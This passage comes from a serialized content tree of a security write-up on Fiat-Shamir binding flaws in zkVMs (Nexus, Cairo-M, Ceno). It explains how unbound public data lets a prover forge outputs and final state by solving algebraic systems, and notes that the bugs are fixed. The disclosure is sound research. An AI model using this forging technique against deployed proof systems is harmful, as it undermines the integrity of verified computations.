1,"props":118627,"children":118629},{"className":118628,"style":23126},[23119,23124,23125],[118630],{"type":31,"value":109926},{"type":25,"tag":201,"props":118632,"children":118634},{"className":118633},[5529],[118635],{"type":25,"tag":201,"props":118636,"children":118638},{"className":118637},[5534,23137],[118639,118668],{"type":25,"tag":201,"props":118640,"children":118642},{"className":118641},[5539],[118643,118663],{"type":25,"tag":201,"props":118644,"children":118646},{"className":118645,"style":115338},[5544],[118647],{"type":25,"tag":201,"props":118648,"children":118649},{"style":23150},[118650,118654],{"type":25,"tag":201,"props":118651,"children":118653},{"className":118652,"style":5554},[5553],[],{"type":25,"tag":201,"props":118655,"children":118657},{"className":118656},[5559,5560,5561,5562],[118658],{"type":25,"tag":201,"props":118659,"children":118661},{"className":118660},[5513,23083,5562],[118662],{"type":31,"value":3641},{"type":25,"tag":201,"props":118664,"children":118666},{"className":118665},[23240],[118667],{"type":31,"value":23243},{"type":25,"tag":201,"props":118669,"children":118671},{"className":118670},[5539],[118672],{"type":25,"tag":201,"props":118673,"children":118675},{"className":118674,"style":115618},[5544],[118676],{"type":25,"tag":201,"props":118677,"children":118678},{},[],{"type":25,"tag":201,"props":118680,"children":118682},{"className":118681,"style":5632},[5593],[],{"type":25,"tag":201,"props":118684,"children":118686},{"className":118685},[5513],[118687,118692],{"type":25,"tag":201,"props":118688,"children":118690},{"className":118689,"style":116219},[5513,23083],[118691],{"type":31,"value":116222},{"type":25,"tag":201,"props":118693,"children":118695},{"className":118694},[5529],[118696],{"type":25,"tag":201,"props":118697,"children":118699},{"className":118698},[5534,23137],[118700,118729],{"type":25,"tag":201,"props":118701,"children":118703},{"className":118702},[5539],[118704,118724],{"type":25,"tag":201,"props":118705,"children":118707},{"className":118706,"style":94660},[5544],[118708],{"type":25,"tag":201,"props":118709,"children":118710},{"style":116854},[118711,118715],{"type":25,"tag":201,"props":118712,"children":118714},{"className":118713,"style":5554},[5553],[],{"type":25,"tag":201,"props":118716,"children":118718},{"className":118717},[5559,5560,5561,5562],[118719],{"type":25,"tag":201,"props":118720,"children":118722},{"className":118721},[5513,23083,5562],[118723],{"type":31,"value":3641},{"type":25,"tag":201,"props":118725,"children":118727},{"className":118726},[23240],[118728],{"type":31,"value":23243},{"type":25,"tag":201,"props":118730,"children":118732},{"className":118731},[5539],[118733],{"type":25,"tag":201,"props":118734,"children":118736},{"className":118735,"style":94214},[5544],[118737],{"type":25,"tag":201,"props":118738,"children":118739},{},[],{"type":25,"tag":201,"props":118741,"children":118743},{"className":118742,"style":5594},[5593],[],{"type":25,"tag":201,"props":118745,"children":118747},{"className":118746},[5599],[118748],{"type":31,"value":112393},{"type":25,"tag":201,"props":118750,"children":118752},{"className":118751,"style":5594},[5593],[],{"type":25,"tag":201,"props":118754,"children":118756},{"className":118755},[5502],[118757,118761,118823,118828,118833],{"type":25,"tag":201,"props":118758,"children":118760},{"className":118759,"style":5614},[5507],[],{"type":25,"tag":201,"props":118762,"children":118764},{"className":118763},[5513],[118765,118775],{"type":25,"tag":201,"props":118766,"children":118768},{"className":118767},[5513,31],[118769],{"type":25,"tag":201,"props":118770,"children":118772},{"className":118771},[5513],[118773],{"type":31,"value":118774},"constraint",{"type":25,"tag":201,"props":118776,"children":118778},{"className":118777},[5529],[118779],{"type":25,"tag":201,"props":118780,"children":118782},{"className":118781},[5534,23137],[118783,118812],{"type":25,"tag":201,"props":118784,"children":118786},{"className":118785},[5539],[118787,118807],{"type":25,"tag":201,"props":118788,"children":118790},{"className":118789,"style":94660},[5544],[118791],{"type":25,"tag":201,"props":118792,"children":118793},{"style":115261},[118794,118798],{"type":25,"tag":201,"props":118795,"children":118797},{"className":118796,"style":5554},[5553],[],{"type":25,"tag":201,"props":118799,"children":118801},{"className":118800},[5559,5560,5561,5562],[118802],{"type":25,"tag":201,"props":118803,"children":118805},{"className":118804},[5513,23083,5562],[118806],{"type":31,"value":3641},{"type":25,"tag":201,"props":118808,"children":118810},{"className":118809},[23240],[118811],{"type":31,"value":23243},{"type":25,"tag":201,"props":118813,"children":118815},{"className":118814},[5539],[118816],{"type":25,"tag":201,"props":118817,"children":118819},{"className":118818,"style":94214},[5544],[118820],{"type":25,"tag":201,"props":118821,"children":118822},{},[],{"type":25,"tag":201,"props":118824,"children":118826},{"className":118825},[23212],[118827],{"type":31,"value":298},{"type":25,"tag":201,"props":118829,"children":118831},{"className":118830},[5513,23083],[118832],{"type":31,"value":1606},{"type":25,"tag":201,"props":118834,"children":118836},{"className":118835},[23234],[118837],{"type":31,"value":3073},{"type":25,"tag":34,"props":118839,"children":118840},{},[118841,118843,118848,118850,118855],{"type":31,"value":118842},"Since each constraint is linear in its ",{"type":25,"tag":115,"props":118844,"children":118846},{"className":118845},[],[118847],{"type":31,"value":115995},{"type":31,"value":118849},", the overall composition polynomial is linear in all ",{"type":25,"tag":115,"props":118851,"children":118853},{"className":118852},[],[118854],{"type":31,"value":115995},{"type":31,"value":118856}," values.",{"type":25,"tag":34,"props":118858,"children":118859},{},[118860,118862],{"type":31,"value":118861},"The verifier checks ",{"type":25,"tag":115,"props":118863,"children":118865},{"className":118864},[5485,5486],[118866],{"type":25,"tag":201,"props":118867,"children":118869},{"className":118868},[5491],[118870],{"type":25,"tag":201,"props":118871,"children":118873},{"className":118872,"ariaHidden":5497},[5496],[118874,118935],{"type":25,"tag":201,"props":118875,"children":118877},{"className":118876},[5502],[118878,118882,118887,118892,118902,118907,118917,118922,118926,118931],{"type":25,"tag":201,"props":118879,"children":118881},{"className":118880,"style":94073},[5507],[],{"type":25,"tag":201,"props":118883,"children":118885},{"className":118884,"style":23615},[5513,23083],[118886],{"type":31,"value":117360},{"type":25,"tag":201,"props":118888,"children":118890},{"className":118889},[23212],[118891],{"type":31,"value":298},{"type":25,"tag":201,"props":118893,"children":118895},{"className":118894},[5513,31],[118896],{"type":25,"tag":201,"props":118897,"children":118899},{"className":118898},[5513],[118900],{"type":31,"value":118901},"oods",{"type":25,"tag":201,"props":118903,"children":118905},{"className":118904,"style":94131},[5513],[118906],{"type":31,"value":4589},{"type":25,"tag":201,"props":118908,"children":118910},{"className":118909},[5513,31],[118911],{"type":25,"tag":201,"props":118912,"children":118914},{"className":118913},[5513],[118915],{"type":31,"value":118916},"point",{"type":25,"tag":201,"props":118918,"children":118920},{"className":118919},[23234],[118921],{"type":31,"value":3073},{"type":25,"tag":201,"props":118923,"children":118925},{"className":118924,"style":5691},[5593],[],{"type":25,"tag":201,"props":118927,"children":118929},{"className":118928},[5696],[118930],{"type":31,"value":1383},{"type":25,"tag":201,"props":118932,"children":118934},{"className":118933,"style":5691},[5593],[],{"type":25,"tag":201,"props":118936,"children":118938},{"className":118937},[5502],[118939,118943],{"type":25,"tag":201,"props":118940,"children":118942},{"className":118941,"style":116186},[5507],[],{"type":25,"tag":201,"props":118944,"children":118946},{"className":118945},[5513,31],[118947],{"type":25,"tag":201,"props":118948,"children":118950},{"className":118949},[5513],[118951],{"type":31,"value":117685},{"type":25,"tag":34,"props":118953,"children":118954},{},[118955,118957,118962,118964,118969],{"type":31,"value":118956},"With ",{"type":25,"tag":115,"props":118958,"children":118960},{"className":118959},[],[118961],{"type":31,"value":115995},{"type":31,"value":118963}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":25,"tag":115,"props":118965,"children":118967},{"className":118966},[],[118968],{"type":31,"value":115995},{"type":31,"value":118970}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":25,"tag":34,"props":118972,"children":118973},{},[118974,118978,118980],{"type":25,"tag":1252,"props":118975,"children":118976},{},[118977],{"type":31,"value":117841},{"type":31,"value":118979}," Fixed on October 24, 2025 via ",{"type":25,"tag":71,"props":118981,"children":118984},{"href":118982,"rel":118983},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[75],[118985],{"type":31,"value":118986},"PR #503",{"type":25,"tag":20292,"props":118988,"children":118989},{},[],{"type":25,"tag":40,"props":118991,"children":118993},{"id":118992},"cairo-m-kakarot-labs",[118994],{"type":31,"value":118995},"Cairo-M (Kakarot Labs)",{"type":25,"tag":34,"props":118997,"children":118998},{},[118999],{"type":31,"value":119000},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":25,"tag":34,"props":119002,"children":119003},{},[119004],{"type":31,"value":119005},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":25,"tag":34,"props":119007,"children":119008},{},[119009],{"type":25,"tag":1252,"props":119010,"children":119011},{},[119012],{"type":31,"value":116547},{"type":25,"tag":191,"props":119014,"children":119016},{"code":119015},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[119017],{"type":25,"tag":115,"props":119018,"children":119019},{"__ignoreMap":7},[119020],{"type":31,"value":119015},{"type":25,"tag":34,"props":119022,"children":119023},{},[119024],{"type":25,"tag":1252,"props":119025,"children":119026},{},[119027],{"type":31,"value":116563},{"type":25,"tag":34,"props":119029,"children":119030},{},[119031],{"type":25,"tag":127,"props":119032,"children":119035},{"alt":119033,"src":119034},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":25,"tag":34,"props":119037,"children":119038},{},[119039,119041,119047],{"type":31,"value":119040},"Lookup challenges are derived without ",{"type":25,"tag":115,"props":119042,"children":119044},{"className":119043},[],[119045],{"type":31,"value":119046},"public_data",{"type":31,"value":119048}," being  mixed into the transcript.",{"type":25,"tag":34,"props":119050,"children":119051},{},[119052,119053,119058,119060,119065],{"type":31,"value":18109},{"type":25,"tag":115,"props":119054,"children":119056},{"className":119055},[],[119057],{"type":31,"value":119046},{"type":31,"value":119059}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":25,"tag":65,"props":119061,"children":119062},{},[119063],{"type":31,"value":119064},"denominators",{"type":31,"value":119066}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":25,"tag":34,"props":119068,"children":119069},{},[119070],{"type":25,"tag":115,"props":119071,"children":119073},{"className":119072},[5485,5486],[119074],{"type":25,"tag":201,"props":119075,"children":119077},{"className":119076},[5491],[119078],{"type":25,"tag":201,"props":119079,"children":119081},{"className":119080,"ariaHidden":5497},[5496],[119082,119142,119188,119234],{"type":25,"tag":201,"props":119083,"children":119085},{"className":119084},[5502],[119086,119090,119096,119101,119110,119115,119124,119129,119133,119138],{"type":25,"tag":201,"props":119087,"children":119089},{"className":119088,"style":94073},[5507],[],{"type":25,"tag":201,"props":119091,"children":119093},{"className":119092},[5513,23083],[119094],{"type":31,"value":119095},"L",{"type":25,"tag":201,"props":119097,"children":119099},{"className":119098},[23212],[119100],{"type":31,"value":298},{"type":25,"tag":201,"props":119102,"children":119104},{"className":119103},[5513,31],[119105],{"type":25,"tag":201,"props":119106,"children":119108},{"className":119107},[5513],[119109],{"type":31,"value":62755},{"type":25,"tag":201,"props":119111,"children":119113},{"className":119112,"style":94131},[5513],[119114],{"type":31,"value":4589},{"type":25,"tag":201,"props":119116,"children":119118},{"className":119117},[5513,31],[119119],{"type":25,"tag":201,"props":119120,"children":119122},{"className":119121},[5513],[119123],{"type":31,"value":5206},{"type":25,"tag":201,"props":119125,"children":119127},{"className":119126},[23234],[119128],{"type":31,"value":3073},{"type":25,"tag":201,"props":119130,"children":119132},{"className":119131,"style":5594},[5593],[],{"type":25,"tag":201,"props":119134,"children":119136},{"className":119135},[5599],[119137],{"type":31,"value":5886},{"type":25,"tag":201,"props":119139,"children":119141},{"className":119140,"style":5594},[5593],[],{"type":25,"tag":201,"props":119143,"children":119145},{"className":119144},[5502],[119146,119150,119160,119165,119175,119179,119184],{"type":25,"tag":201,"props":119147,"children":119149},{"className":119148,"style":94073},[5507],[],{"type":25,"tag":201,"props":119151,"children":119153},{"className":119152},[5513,31],[119154],{"type":25,"tag":201,"props":119155,"children":119157},{"className":119156},[5513],[119158],{"type":31,"value":119159},"(other transcript",{"type":25,"tag":201,"props":119161,"children":119163},{"className":119162,"style":94131},[5513],[119164],{"type":31,"value":4589},{"type":25,"tag":201,"props":119166,"children":119168},{"className":119167},[5513,31],[119169],{"type":25,"tag":201,"props":119170,"children":119172},{"className":119171},[5513],[119173],{"type":31,"value":119174},"bound terms)",{"type":25,"tag":201,"props":119176,"children":119178},{"className":119177,"style":5691},[5593],[],{"type":25,"tag":201,"props":119180,"children":119182},{"className":119181},[5696],[119183],{"type":31,"value":1383},{"type":25,"tag":201,"props":119185,"children":119187},{"className":119186,"style":5691},[5593],[],{"type":25,"tag":201,"props":119189,"children":119191},{"className":119190},[5502],[119192,119197,119202,119207,119212,119216,119221,119225,119230],{"type":25,"tag":201,"props":119193,"children":119196},{"className":119194,"style":119195},[5507],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":119198,"children":119200},{"className":119199},[5513],[119201],{"type":31,"value":429},{"type":25,"tag":201,"props":119203,"children":119205},{"className":119204},[5625],[119206],{"type":31,"value":5628},{"type":25,"tag":201,"props":119208,"children":119211},{"className":119209,"style":119210},[5593],"margin-right:2em;",[],{"type":25,"tag":201,"props":119213,"children":119215},{"className":119214,"style":5632},[5593],[],{"type":25,"tag":201,"props":119217,"children":119219},{"className":119218},[5513,23083],[119220],{"type":31,"value":119095},{"type":25,"tag":201,"props":119222,"children":119224},{"className":119223,"style":5691},[5593],[],{"type":25,"tag":201,"props":119226,"children":119228},{"className":119227},[5696],[119229],{"type":31,"value":1383},{"type":25,"tag":201,"props":119231,"children":119233},{"className":119232,"style":5691},[5593],[],{"type":25,"tag":201,"props":119235,"children":119237},{"className":119236},[5502],[119238,119243,119300,119304,119522],{"type":25,"tag":201,"props":119239,"children":119242},{"className":119240,"style":119241},[5507],"height:1.4071em;vertical-align:-0.562em;",[],{"type":25,"tag":201,"props":119244,"children":119246},{"className":119245},[23119],[119247,119252],{"type":25,"tag":201,"props":119248,"children":119250},{"className":119249,"style":23126},[23119,23124,23125],[119251],{"type":31,"value":109926},{"type":25,"tag":201,"props":119253,"children":119255},{"className":119254},[5529],[119256],{"type":25,"tag":201,"props":119257,"children":119259},{"className":119258},[5534,23137],[119260,119289],{"type":25,"tag":201,"props":119261,"children":119263},{"className":119262},[5539],[119264,119284],{"type":25,"tag":201,"props":119265,"children":119267},{"className":119266,"style":115338},[5544],[119268],{"type":25,"tag":201,"props":119269,"children":119270},{"style":23150},[119271,119275],{"type":25,"tag":201,"props":119272,"children":119274},{"className":119273,"style":5554},[5553],[],{"type":25,"tag":201,"props":119276,"children":119278},{"className":119277},[5559,5560,5561,5562],[119279],{"type":25,"tag":201,"props":119280,"children":119282},{"className":119281},[5513,23083,5562],[119283],{"type":31,"value":3641},{"type":25,"tag":201,"props":119285,"children":119287},{"className":119286},[23240],[119288],{"type":31,"value":23243},{"type":25,"tag":201,"props":119290,"children":119292},{"className":119291},[5539],[119293],{"type":25,"tag":201,"props":119294,"children":119296},{"className":119295,"style":115618},[5544],[119297],{"type":25,"tag":201,"props":119298,"children":119299},{},[],{"type":25,"tag":201,"props":119301,"children":119303},{"className":119302,"style":5632},[5593],[],{"type":25,"tag":201,"props":119305,"children":119307},{"className":119306},[5513],[119308,119312,119518],{"type":25,"tag":201,"props":119309,"children":119311},{"className":119310},[23212,114649],[],{"type":25,"tag":201,"props":119313,"children":119315},{"className":119314},[114654],[119316],{"type":25,"tag":201,"props":119317,"children":119319},{"className":119318},[5534,23137],[119320,119506],{"type":25,"tag":201,"props":119321,"children":119323},{"className":119322},[5539],[119324,119501],{"type":25,"tag":201,"props":119325,"children":119327},{"className":119326,"style":114667},[5544],[119328,119470,119481],{"type":25,"tag":201,"props":119329,"children":119330},{"style":114671},[119331,119335],{"type":25,"tag":201,"props":119332,"children":119334},{"className":119333,"style":113302},[5553],[],{"type":25,"tag":201,"props":119336,"children":119338},{"className":119337},[5559,5560,5561,5562],[119339],{"type":25,"tag":201,"props":119340,"children":119342},{"className":119341},[5513,5562],[119343,119348,119353,119359,119364,119369,119426,119431,119440,119445,119454,119460,119465],{"type":25,"tag":201,"props":119344,"children":119346},{"className":119345,"style":114688},[5513,23083,5562],[119347],{"type":31,"value":114691},{"type":25,"tag":201,"props":119349,"children":119351},{"className":119350},[5599,5562],[119352],{"type":31,"value":5886},{"type":25,"tag":201,"props":119354,"children":119356},{"className":119355},[23212,5562],[119357],{"type":31,"value":119358},"⟨",{"type":25,"tag":201,"props":119360,"children":119362},{"className":119361,"style":116219},[5513,23083,5562],[119363],{"type":31,"value":116222},{"type":25,"tag":201,"props":119365,"children":119367},{"className":119366},[5625,5562],[119368],{"type":31,"value":5628},{"type":25,"tag":201,"props":119370,"children":119372},{"className":119371},[5513,5562],[119373,119378],{"type":25,"tag":201,"props":119374,"children":119376},{"className":119375},[5513,23083,5562],[119377],{"type":31,"value":23225},{"type":25,"tag":201,"props":119379,"children":119381},{"className":119380},[5529],[119382],{"type":25,"tag":201,"props":119383,"children":119385},{"className":119384},[5534,23137],[119386,119415],{"type":25,"tag":201,"props":119387,"children":119389},{"className":119388},[5539],[119390,119410],{"type":25,"tag":201,"props":119391,"children":119393},{"className":119392,"style":115455},[5544],[119394],{"type":25,"tag":201,"props":119395,"children":119396},{"style":109986},[119397,119401],{"type":25,"tag":201,"props":119398,"children":119400},{"className":119399,"style":109991},[5553],[],{"type":25,"tag":201,"props":119402,"children":119404},{"className":119403},[5559,109996,109997,5562],[119405],{"type":25,"tag":201,"props":119406,"children":119408},{"className":119407},[5513,23083,5562],[119409],{"type":31,"value":3641},{"type":25,"tag":201,"props":119411,"children":119413},{"className":119412},[23240],[119414],{"type":31,"value":23243},{"type":25,"tag":201,"props":119416,"children":119418},{"className":119417},[5539],[119419],{"type":25,"tag":201,"props":119420,"children":119422},{"className":119421,"style":110016},[5544],[119423],{"type":25,"tag":201,"props":119424,"children":119425},{},[],{"type":25,"tag":201,"props":119427,"children":119429},{"className":119428},[23212,5562],[119430],{"type":31,"value":298},{"type":25,"tag":201,"props":119432,"children":119434},{"className":119433},[5513,31,5562],[119435],{"type":25,"tag":201,"props":119436,"children":119438},{"className":119437},[5513,5562],[119439],{"type":31,"value":62755},{"type":25,"tag":201,"props":119441,"children":119443},{"className":119442,"style":94131},[5513,5562],[119444],{"type":31,"value":4589},{"type":25,"tag":201,"props":119446,"children":119448},{"className":119447},[5513,31,5562],[119449],{"type":25,"tag":201,"props":119450,"children":119452},{"className":119451},[5513,5562],[119453],{"type":31,"value":5206},{"type":25,"tag":201,"props":119455,"children":119457},{"className":119456},[23234,5562],[119458],{"type":31,"value":119459},")⟩",{"type":25,"tag":201,"props":119461,"children":119463},{"className":119462},[5599,5562],[119464],{"type":31,"value":5886},{"type":25,"tag":201,"props":119466,"children":119468},{"className":119467,"style":116274},[5513,23083,5562],[119469],{"type":31,"value":116277},{"type":25,"tag":201,"props":119471,"children":119472},{"style":114704},[119473,119477],{"type":25,"tag":201,"props":119474,"children":119476},{"className":119475,"style":113302},[5553],[],{"type":25,"tag":201,"props":119478,"children":119480},{"className":119479,"style":114714},[114713],[],{"type":25,"tag":201,"props":119482,"children":119483},{"style":114718},[119484,119488],{"type":25,"tag":201,"props":119485,"children":119487},{"className":119486,"style":113302},[5553],[],{"type":25,"tag":201,"props":119489,"children":119491},{"className":119490},[5559,5560,5561,5562],[119492],{"type":25,"tag":201,"props":119493,"children":119495},{"className":119494},[5513,5562],[119496],{"type":25,"tag":201,"props":119497,"children":119499},{"className":119498},[5513,5562],[119500],{"type":31,"value":5516},{"type":25,"tag":201,"props":119502,"children":119504},{"className":119503},[23240],[119505],{"type":31,"value":23243},{"type":25,"tag":201,"props":119507,"children":119509},{"className":119508},[5539],[119510],{"type":25,"tag":201,"props":119511,"children":119514},{"className":119512,"style":119513},[5544],"height:0.562em;",[119515],{"type":25,"tag":201,"props":119516,"children":119517},{},[],{"type":25,"tag":201,"props":119519,"children":119521},{"className":119520},[23234,114649],[],{"type":25,"tag":201,"props":119523,"children":119525},{"className":119524},[5513],[119526],{"type":31,"value":80},{"type":25,"tag":34,"props":119528,"children":119529},{},[119530,119532],{"type":31,"value":119531},"The global check is then that ",{"type":25,"tag":115,"props":119533,"children":119535},{"className":119534},[5485,5486],[119536],{"type":25,"tag":201,"props":119537,"children":119539},{"className":119538},[5491],[119540],{"type":25,"tag":201,"props":119541,"children":119543},{"className":119542,"ariaHidden":5497},[5496],[119544,119585,119616],{"type":25,"tag":201,"props":119545,"children":119547},{"className":119546},[5502],[119548,119552,119557,119562,119567,119572,119576,119581],{"type":25,"tag":201,"props":119549,"children":119551},{"className":119550,"style":5614},[5507],[],{"type":25,"tag":201,"props":119553,"children":119555},{"className":119554},[5513,23083],[119556],{"type":31,"value":119095},{"type":25,"tag":201,"props":119558,"children":119560},{"className":119559},[23212],[119561],{"type":31,"value":298},{"type":25,"tag":201,"props":119563,"children":119565},{"className":119564},[5513,23083],[119566],{"type":31,"value":34},{"type":25,"tag":201,"props":119568,"children":119570},{"className":119569},[23234],[119571],{"type":31,"value":3073},{"type":25,"tag":201,"props":119573,"children":119575},{"className":119574,"style":5594},[5593],[],{"type":25,"tag":201,"props":119577,"children":119579},{"className":119578},[5599],[119580],{"type":31,"value":5886},{"type":25,"tag":201,"props":119582,"children":119584},{"className":119583,"style":5594},[5593],[],{"type":25,"tag":201,"props":119586,"children":119588},{"className":119587},[5502],[119589,119593,119603,119607,119612],{"type":25,"tag":201,"props":119590,"children":119592},{"className":119591,"style":5614},[5507],[],{"type":25,"tag":201,"props":119594,"children":119596},{"className":119595},[5513,31],[119597],{"type":25,"tag":201,"props":119598,"children":119600},{"className":119599},[5513],[119601],{"type":31,"value":119602},"(other terms)",{"type":25,"tag":201,"props":119604,"children":119606},{"className":119605,"style":5691},[5593],[],{"type":25,"tag":201,"props":119608,"children":119610},{"className":119609},[5696],[119611],{"type":31,"value":1383},{"type":25,"tag":201,"props":119613,"children":119615},{"className":119614,"style":5691},[5593],[],{"type":25,"tag":201,"props":119617,"children":119619},{"className":119618},[5502],[119620,119624],{"type":25,"tag":201,"props":119621,"children":119623},{"className":119622,"style":95162},[5507],[],{"type":25,"tag":201,"props":119625,"children":119627},{"className":119626},[5513],[119628],{"type":31,"value":429},{"type":25,"tag":34,"props":119630,"children":119631},{},[119632],{"type":31,"value":119633},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":25,"tag":34,"props":119635,"children":119636},{},[119637],{"type":31,"value":119638},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":25,"tag":34,"props":119640,"children":119641},{},[119642,119646,119648],{"type":25,"tag":1252,"props":119643,"children":119644},{},[119645],{"type":31,"value":117841},{"type":31,"value":119647}," Fixed on October 31, 2025 via ",{"type":25,"tag":71,"props":119649,"children":119652},{"href":119650,"rel":119651},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[75],[119653],{"type":31,"value":119654},"commit 92b6740",{"type":25,"tag":20292,"props":119656,"children":119657},{},[],{"type":25,"tag":40,"props":119659,"children":119661},{"id":119660},"ceno-scroll",[119662],{"type":31,"value":119663},"Ceno (Scroll)",{"type":25,"tag":34,"props":119665,"children":119666},{},[119667],{"type":31,"value":119668},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":25,"tag":34,"props":119670,"children":119671},{},[119672,119674,119679],{"type":31,"value":119673},"Ceno splits verification into ",{"type":25,"tag":1252,"props":119675,"children":119676},{},[119677],{"type":31,"value":119678},"chips",{"type":31,"value":119680},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":25,"tag":34,"props":119682,"children":119683},{},[119684,119686,119691],{"type":31,"value":119685},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":25,"tag":1252,"props":119687,"children":119688},{},[119689],{"type":31,"value":119690},"tower sumcheck",{"type":31,"value":80},{"type":25,"tag":34,"props":119693,"children":119694},{},[119695],{"type":31,"value":119696},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":25,"tag":34,"props":119698,"children":119699},{},[119700],{"type":25,"tag":115,"props":119701,"children":119703},{"className":119702},[5485,5486],[119704],{"type":25,"tag":201,"props":119705,"children":119707},{"className":119706},[5491],[119708],{"type":25,"tag":201,"props":119709,"children":119711},{"className":119710,"ariaHidden":5497},[5496],[119712,119886,120059],{"type":25,"tag":201,"props":119713,"children":119715},{"className":119714},[5502],[119716,119720,119778,119782,119791,119796,119806,119811,119873,119877,119882],{"type":25,"tag":201,"props":119717,"children":119719},{"className":119718,"style":94073},[5507],[],{"type":25,"tag":201,"props":119721,"children":119723},{"className":119722},[23119],[119724,119730],{"type":25,"tag":201,"props":119725,"children":119727},{"className":119726,"style":23126},[23119,23124,23125],[119728],{"type":31,"value":119729},"∏",{"type":25,"tag":201,"props":119731,"children":119733},{"className":119732},[5529],[119734],{"type":25,"tag":201,"props":119735,"children":119737},{"className":119736},[5534,23137],[119738,119767],{"type":25,"tag":201,"props":119739,"children":119741},{"className":119740},[5539],[119742,119762],{"type":25,"tag":201,"props":119743,"children":119745},{"className":119744,"style":115338},[5544],[119746],{"type":25,"tag":201,"props":119747,"children":119748},{"style":23150},[119749,119753],{"type":25,"tag":201,"props":119750,"children":119752},{"className":119751,"style":5554},[5553],[],{"type":25,"tag":201,"props":119754,"children":119756},{"className":119755},[5559,5560,5561,5562],[119757],{"type":25,"tag":201,"props":119758,"children":119760},{"className":119759},[5513,23083,5562],[119761],{"type":31,"value":3641},{"type":25,"tag":201,"props":119763,"children":119765},{"className":119764},[23240],[119766],{"type":31,"value":23243},{"type":25,"tag":201,"props":119768,"children":119770},{"className":119769},[5539],[119771],{"type":25,"tag":201,"props":119772,"children":119774},{"className":119773,"style":115618},[5544],[119775],{"type":25,"tag":201,"props":119776,"children":119777},{},[],{"type":25,"tag":201,"props":119779,"children":119781},{"className":119780,"style":5632},[5593],[],{"type":25,"tag":201,"props":119783,"children":119785},{"className":119784},[5513,31],[119786],{"type":25,"tag":201,"props":119787,"children":119789},{"className":119788},[5513],[119790],{"type":31,"value":94950},{"type":25,"tag":201,"props":119792,"children":119794},{"className":119793,"style":94131},[5513],[119795],{"type":31,"value":4589},{"type":25,"tag":201,"props":119797,"children":119799},{"className":119798},[5513,31],[119800],{"type":25,"tag":201,"props":119801,"children":119803},{"className":119802},[5513],[119804],{"type":31,"value":119805},"out",{"type":25,"tag":201,"props":119807,"children":119809},{"className":119808,"style":94131},[5513],[119810],{"type":31,"value":4589},{"type":25,"tag":201,"props":119812,"children":119814},{"className":119813},[5513],[119815,119825],{"type":25,"tag":201,"props":119816,"children":119818},{"className":119817},[5513,31],[119819],{"type":25,"tag":201,"props":119820,"children":119822},{"className":119821},[5513],[119823],{"type":31,"value":119824},"evals",{"type":25,"tag":201,"props":119826,"children":119828},{"className":119827},[5529],[119829],{"type":25,"tag":201,"props":119830,"children":119832},{"className":119831},[5534,23137],[119833,119862],{"type":25,"tag":201,"props":119834,"children":119836},{"className":119835},[5539],[119837,119857],{"type":25,"tag":201,"props":119838,"children":119840},{"className":119839,"style":94660},[5544],[119841],{"type":25,"tag":201,"props":119842,"children":119843},{"style":115261},[119844,119848],{"type":25,"tag":201,"props":119845,"children":119847},{"className":119846,"style":5554},[5553],[],{"type":25,"tag":201,"props":119849,"children":119851},{"className":119850},[5559,5560,5561,5562],[119852],{"type":25,"tag":201,"props":119853,"children":119855},{"className":119854},[5513,23083,5562],[119856],{"type":31,"value":3641},{"type":25,"tag":201,"props":119858,"children":119860},{"className":119859},[23240],[119861],{"type":31,"value":23243},{"type":25,"tag":201,"props":119863,"children":119865},{"className":119864},[5539],[119866],{"type":25,"tag":201,"props":119867,"children":119869},{"className":119868,"style":94214},[5544],[119870],{"type":25,"tag":201,"props":119871,"children":119872},{},[],{"type":25,"tag":201,"props":119874,"children":119876},{"className":119875,"style":5691},[5593],[],{"type":25,"tag":201,"props":119878,"children":119880},{"className":119879},[5696],[119881],{"type":31,"value":1383},{"type":25,"tag":201,"props":119883,"children":119885},{"className":119884,"style":5691},[5593],[],{"type":25,"tag":201,"props":119887,"children":119889},{"className":119888},[5502],[119890,119895,119952,119956,119965,119970,119979,119984,120046,120050,120055],{"type":25,"tag":201,"props":119891,"children":119894},{"className":119892,"style":119893},[5507],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":25,"tag":201,"props":119896,"children":119898},{"className":119897},[23119],[119899,119904],{"type":25,"tag":201,"props":119900,"children":119902},{"className":119901,"style":23126},[23119,23124,23125],[119903],{"type":31,"value":119729},{"type":25,"tag":201,"props":119905,"children":119907},{"className":119906},[5529],[119908],{"type":25,"tag":201,"props":119909,"children":119911},{"className":119910},[5534,23137],[119912,119941],{"type":25,"tag":201,"props":119913,"children":119915},{"className":119914},[5539],[119916,119936],{"type":25,"tag":201,"props":119917,"children":119919},{"className":119918,"style":115338},[5544],[119920],{"type":25,"tag":201,"props":119921,"children":119922},{"style":23150},[119923,119927],{"type":25,"tag":201,"props":119924,"children":119926},{"className":119925,"style":5554},[5553],[],{"type":25,"tag":201,"props":119928,"children":119930},{"className":119929},[5559,5560,5561,5562],[119931],{"type":25,"tag":201,"props":119932,"children":119934},{"className":119933,"style":115354},[5513,23083,5562],[119935],{"type":31,"value":10164},{"type":25,"tag":201,"props":119937,"children":119939},{"className":119938},[232